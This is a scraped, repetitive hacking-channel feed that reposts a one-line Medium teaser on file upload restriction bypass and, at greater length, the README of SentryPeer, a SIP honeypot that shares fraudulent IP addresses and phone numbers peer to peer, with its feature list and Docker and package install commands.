@hacking_Attack
@Hacking_Video
FILE UPLOAD RESTRICTION BYPASS
We all might have faced a file upload functionality while testing a site, Maybe during ctf’s, or real world pentest, or bug bounties.Continue reading on Medium »
Read more...
We all might have faced a file upload functionality while testing a site, Maybe during ctf’s, or real world pentest, or bug bounties.Continue reading on Medium »
Read more...
FILE UPLOAD RESTRICTION BYPASS
https://abhishekgk.medium.com/file-upload-restriction-bypass-4d2932005dcc?source=rss------bug_bounty-5
We all might have faced a file upload functionality while testing a site,
Maybe during ctf’s, or real world pentest, or bug bounties.Continue reading on Medium » (https://abhishekgk.medium.com/file-upload-restriction-bypass-4d2932005dcc?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
https://abhishekgk.medium.com/file-upload-restriction-bypass-4d2932005dcc?source=rss------bug_bounty-5
We all might have faced a file upload functionality while testing a site,
Maybe during ctf’s, or real world pentest, or bug bounties.Continue reading on Medium » (https://abhishekgk.medium.com/file-upload-restriction-bypass-4d2932005dcc?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
Medium
FILE UPLOAD RESTRICTION BYPASS
We all might have faced a file upload functionality while testing a site, Maybe during ctf’s, or real world pentest, or bug bounties.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
SentryPeer : A Distributed Peer To Peer List Of Bad Actor IP Addresses And Phone Numbers Collected
SentryPeer is basically a fraud detection tool. It lets bad actors try to make phone calls and saves the IP address they came from and number they tried to call. Those details are then used to block them at the service providers network and the next time a user/customer tries to call a collected number, it’s blocked.
Traditionally this data is shipped to a central place, so you don’t own the data you’ve collected. This project is all about Peer to Peer sharing of that data. The user owning the data and various Service Provider / Network Provider related feeds of the data is the key bit for me. I’m sick of all the services out there that keep it and sell it. If you’ve collected it, you should have the choice to keep it and/or opt in to share it with other SentryPeer community members via p2p methods.
The sharing part…you only get other users’ data if you share yours. That’s the key. It could be used (the sharing of data logic/feature) in many projects too if I get it right. ScreenshotsHere’s a mockup of the web UI which is subject to change.
https://blogger.googleusercontent.com/img/a/AVvXsEjNoYsTMEwuC_5RVH-ksGIFF1STQM5VH2hlAfgOCnIXcGu8bLrJ_4vjXXhEm6Ld7tixdkS0koFcJa88Dw6rMGgj-0J1pFKcvGE8UblQzTTXkl70aGspXxWCTO7Gz3e5HEXKx08IBsBGXHK0euvV45TsLzMsFVHYbdzSKhYiEWjO8zejh6oFlC75s_JL=s1427 Goals* All code Free/Libre and Open Source Software
* FAST
* User owns their data
* User can submit their own data if they want to – opt out (default is to submit data)
* User gets other users’ data (Tit for tat?) ONLY IF they opt in to submit their data to the pool (DHT? – need to do a PoC)
* Embedded Distributed Hash Table (DHT) node using OpenDHT (
* Peer to Peer sharing of collected bad_actors using OpenDHT (default on)
* Peer to Peer data replication to receive collected bad_actors using OpenDHT (default on)
* Multithreaded
* UDP transport
* TCP transport
* TLS transport
* JSON logging to a file
* Data is max 7(?) days old as useless otherwise
* SIP mode can be disabled. This allows you to run SentryPeer in API mode or DHT mode only etc. i.e. not as a honeypot, but as a node in the SentryPeer community or to just serve replicated data
* SIP responsive mode can be enabled to collect data – cli / env flag
* Local data copy for fast access – cli / env db location flag
* Local API for fast access – cli / env flag
* Local Web GUI for fast access – cli / env flag
* Query API for IP addresses of bad actors
* Query API for IPSET of bad actors
* Query API for a particular IP address of a bad actor
* Query API for attempted phone numbers called by bad actors
* Query API for an attempted phone number called by a bad actor
* Fail2Ban support via
* Local sqlite database – feature / cli flag
* Analytics – opt in
* SDKs/libs for external access – CGRateS to start with or our own firewall with nftables
* Small binary size for IoT usage
* Cross-platform
* Firewall options to use distributed data in real time – DHT?
* Container on Docker Hub for latest build
* BGP agent to peer with for blackholing collected IP addresses (similar to Team Cymru Bogon Router Server Project)
* SIP agent to return 404 or default destination for SIP redirects DesignTBD https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png
I started this because I wanted to do C network programming as all the projects I use daily are in C like PostgreSQL, OpenLDAP, FreeSWITCH, OpenSIPS, Asterisk etc. See Episode 414: Jens Gustedt on Modern C for why C is a good choice. For those interested, see my full podcast show list (https://www.se-radio.net/team/gavin-henry/) for Software Engineering Radio Talks* TADSummit 2021 – https://blog.tadsummit.com/2021/11/17/sentrypeer/
[...]
___________________________
@hacking_Attack
@Hacking_Video
SentryPeer : A Distributed Peer To Peer List Of Bad Actor IP Addresses And Phone Numbers Collected
SentryPeer is basically a fraud detection tool. It lets bad actors try to make phone calls and saves the IP address they came from and number they tried to call. Those details are then used to block them at the service providers network and the next time a user/customer tries to call a collected number, it’s blocked.
Traditionally this data is shipped to a central place, so you don’t own the data you’ve collected. This project is all about Peer to Peer sharing of that data. The user owning the data and various Service Provider / Network Provider related feeds of the data is the key bit for me. I’m sick of all the services out there that keep it and sell it. If you’ve collected it, you should have the choice to keep it and/or opt in to share it with other SentryPeer community members via p2p methods.
The sharing part…you only get other users’ data if you share yours. That’s the key. It could be used (the sharing of data logic/feature) in many projects too if I get it right. ScreenshotsHere’s a mockup of the web UI which is subject to change.
https://blogger.googleusercontent.com/img/a/AVvXsEjNoYsTMEwuC_5RVH-ksGIFF1STQM5VH2hlAfgOCnIXcGu8bLrJ_4vjXXhEm6Ld7tixdkS0koFcJa88Dw6rMGgj-0J1pFKcvGE8UblQzTTXkl70aGspXxWCTO7Gz3e5HEXKx08IBsBGXHK0euvV45TsLzMsFVHYbdzSKhYiEWjO8zejh6oFlC75s_JL=s1427 Goals* All code Free/Libre and Open Source Software
* FAST
* User owns their data
* User can submit their own data if they want to – opt out (default is to submit data)
* User gets other users’ data (Tit for tat?) ONLY IF they opt in to submit their data to the pool (DHT? – need to do a PoC)
* Embedded Distributed Hash Table (DHT) node using OpenDHT (
-p cli option)* Peer to Peer sharing of collected bad_actors using OpenDHT (default on)
* Peer to Peer data replication to receive collected bad_actors using OpenDHT (default on)
* Multithreaded
* UDP transport
* TCP transport
* TLS transport
* JSON logging to a file
* Data is max 7(?) days old as useless otherwise
* SIP mode can be disabled. This allows you to run SentryPeer in API mode or DHT mode only etc. i.e. not as a honeypot, but as a node in the SentryPeer community or to just serve replicated data
* SIP responsive mode can be enabled to collect data – cli / env flag
* Local data copy for fast access – cli / env db location flag
* Local API for fast access – cli / env flag
* Local Web GUI for fast access – cli / env flag
* Query API for IP addresses of bad actors
* Query API for IPSET of bad actors
* Query API for a particular IP address of a bad actor
* Query API for attempted phone numbers called by bad actors
* Query API for an attempted phone number called by a bad actor
* Fail2Ban support via
syslogas per feature request* Local sqlite database – feature / cli flag
* Analytics – opt in
* SDKs/libs for external access – CGRateS to start with or our own firewall with nftables
* Small binary size for IoT usage
* Cross-platform
* Firewall options to use distributed data in real time – DHT?
* Container on Docker Hub for latest build
* BGP agent to peer with for blackholing collected IP addresses (similar to Team Cymru Bogon Router Server Project)
* SIP agent to return 404 or default destination for SIP redirects DesignTBD https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png
I started this because I wanted to do C network programming as all the projects I use daily are in C like PostgreSQL, OpenLDAP, FreeSWITCH, OpenSIPS, Asterisk etc. See Episode 414: Jens Gustedt on Modern C for why C is a good choice. For those interested, see my full podcast show list (https://www.se-radio.net/team/gavin-henry/) for Software Engineering Radio Talks* TADSummit 2021 – https://blog.tadsummit.com/2021/11/17/sentrypeer/
[...]
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
SentryPeer : A Distributed Peer To Peer List Of Bad Actor IP Addresses
SentryPeer is basically a fraud detection tool. It lets bad actors try to make phone calls and saves the IP address.
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials SentryPeer : A Distributed Peer To Peer List Of Bad Actor IP Addresses And Phone Numbers Collected SentryPeer is basically a fraud detection tool. It lets bad actors try to make phone calls and saves the IP address they came from and…
* CommCon 2021 – https://2021.commcon.xyz/talks/sentrypeer-a-distributed-peer-to-peer-list-of-bad-ip-addresses-and-phone-numbers-collected-via-a-sip-honeypot DockerYou can run the latest version of SentryPeer with Docker. The latest version is available from Docker Hub. Or build yourself:
sudo docker build -t sentrypeer .
sudo docker run -d -p 5060:5060 -p 8082:8082 sentrypeer:latest
Then you can check at
ENV SENTRYPEER_API=1
ENV SENTRYPEER_WEB_GUI=1
ENV SENTRYPEER_SIP_RESPONSIVE=1
ENV SENTRYPEER_SIP_DISABLE=1
ENV SENTRYPEER_SYSLOG=1
ENV SENTRYPEER_PEER_TO_PEER=1
ENV SENTRYPEER_JSON_LOG=1
ENV SENTRYPEER_JSON_LOG_FILE=/my/location/sentrypeer_json.log
ENV SENTRYPEER_VERBOSE=1
ENV SENTRYPEER_DEBUG=1
Either set these in the Dockerfile or in your
https://github.com/SentryPeer/SentryPeer/releases Ubuntu PackageYou can install SentryPeer from our Ubuntu PPD which is currently for Ubuntu 20 LTS (Focal Fossa):
sudo add-apt-repository ppa:gavinhenry/sentrypeer
sudo apt-get update
This PPA can be added to your system manually by copying the lines below and adding them to your system’s software sources:
deb https://ppa.launchpadcontent.net/gavinhenry/sentrypeer/ubuntu focal main
deb-src https://ppa.launchpadcontent.net/gavinhenry/sentrypeer/ubuntu focal main Building from sourceYou have two options for installation from source. CMake or autotools. Autotools is recommended at the moment. A release is an autotools build.
If you are a Fedora user, you can install this via Fedora copr:
https://copr.fedorainfracloud.org/coprs/ghenry/SentryPeer/
If you are going to build from this repository, you will need to have the following installed:
*
*
*
*
*
*
*
*
*
Debian/Ubuntu:
sudo apt-get install git build-essential autoconf-archive autoconf automake libosip2-dev libsqlite3-dev \
libcmocka-dev uuid-dev libcurl-dev libpcre2-dev libjansson-dev libmicrohttpd-dev
Fedora:
sudo dnf install git autoconf automake autoconf-archive libosip2-devel libsqlite3-devel libcmocka-devel \
libuuid-devel libmicrohttpd-devel jansson-devel libcurl-devel pcre2-devel Download
___________________________
@hacking_Attack
@Hacking_Video
sudo docker build -t sentrypeer .
sudo docker run -d -p 5060:5060 -p 8082:8082 sentrypeer:latest
Then you can check at
http://localhost:8082/ip-addressesand http://localhost:5060/health-checkto see if it’s running. Environment VariablesENV SENTRYPEER_DB_FILE=/my/location/sentrypeer.dbENV SENTRYPEER_API=1
ENV SENTRYPEER_WEB_GUI=1
ENV SENTRYPEER_SIP_RESPONSIVE=1
ENV SENTRYPEER_SIP_DISABLE=1
ENV SENTRYPEER_SYSLOG=1
ENV SENTRYPEER_PEER_TO_PEER=1
ENV SENTRYPEER_JSON_LOG=1
ENV SENTRYPEER_JSON_LOG_FILE=/my/location/sentrypeer_json.log
ENV SENTRYPEER_VERBOSE=1
ENV SENTRYPEER_DEBUG=1
Either set these in the Dockerfile or in your
Dockerfile.envfile or docker run command. InstallationDebian or Fedora packages are always available from the release page for the current version of SentryPeer:https://github.com/SentryPeer/SentryPeer/releases Ubuntu PackageYou can install SentryPeer from our Ubuntu PPD which is currently for Ubuntu 20 LTS (Focal Fossa):
sudo add-apt-repository ppa:gavinhenry/sentrypeer
sudo apt-get update
This PPA can be added to your system manually by copying the lines below and adding them to your system’s software sources:
deb https://ppa.launchpadcontent.net/gavinhenry/sentrypeer/ubuntu focal main
deb-src https://ppa.launchpadcontent.net/gavinhenry/sentrypeer/ubuntu focal main Building from sourceYou have two options for installation from source. CMake or autotools. Autotools is recommended at the moment. A release is an autotools build.
If you are a Fedora user, you can install this via Fedora copr:
https://copr.fedorainfracloud.org/coprs/ghenry/SentryPeer/
If you are going to build from this repository, you will need to have the following installed:
*
git, autoconf, automakeand autoconf-archive(Debian/Ubuntu)*
libosip2-dev(Debian/Ubuntu) or libosip2-devel(Fedora)*
libsqlite3-dev(Debian/Ubuntu) or sqlite-devel(Fedora)*
uuid-dev(Debian/Ubuntu) or libuuid-devel(Fedora)*
libmicrohttpd-dev(Debian/Ubuntu) or libmicrohttpd-devel(Fedora)*
libjansson-dev(Debian/Ubuntu) or jansson-devel(Fedora)*
libpcre2-dev(Debian/Ubuntu) or pcre2-devel(Fedora)*
libcurl-dev(Debian/Ubuntu) or libcurl-devel(Fedora)*
libcmocka-dev(Debian/Ubuntu) or libcmocka-devel(Fedora) – for unit testsDebian/Ubuntu:
sudo apt-get install git build-essential autoconf-archive autoconf automake libosip2-dev libsqlite3-dev \
libcmocka-dev uuid-dev libcurl-dev libpcre2-dev libjansson-dev libmicrohttpd-dev
Fedora:
sudo dnf install git autoconf automake autoconf-archive libosip2-devel libsqlite3-devel libcmocka-devel \
libuuid-devel libmicrohttpd-devel jansson-devel libcurl-devel pcre2-devel Download
___________________________
@hacking_Attack
@Hacking_Video
2021.commcon.xyz
CommCon 2021 - Talks
CommCon Virtual 2021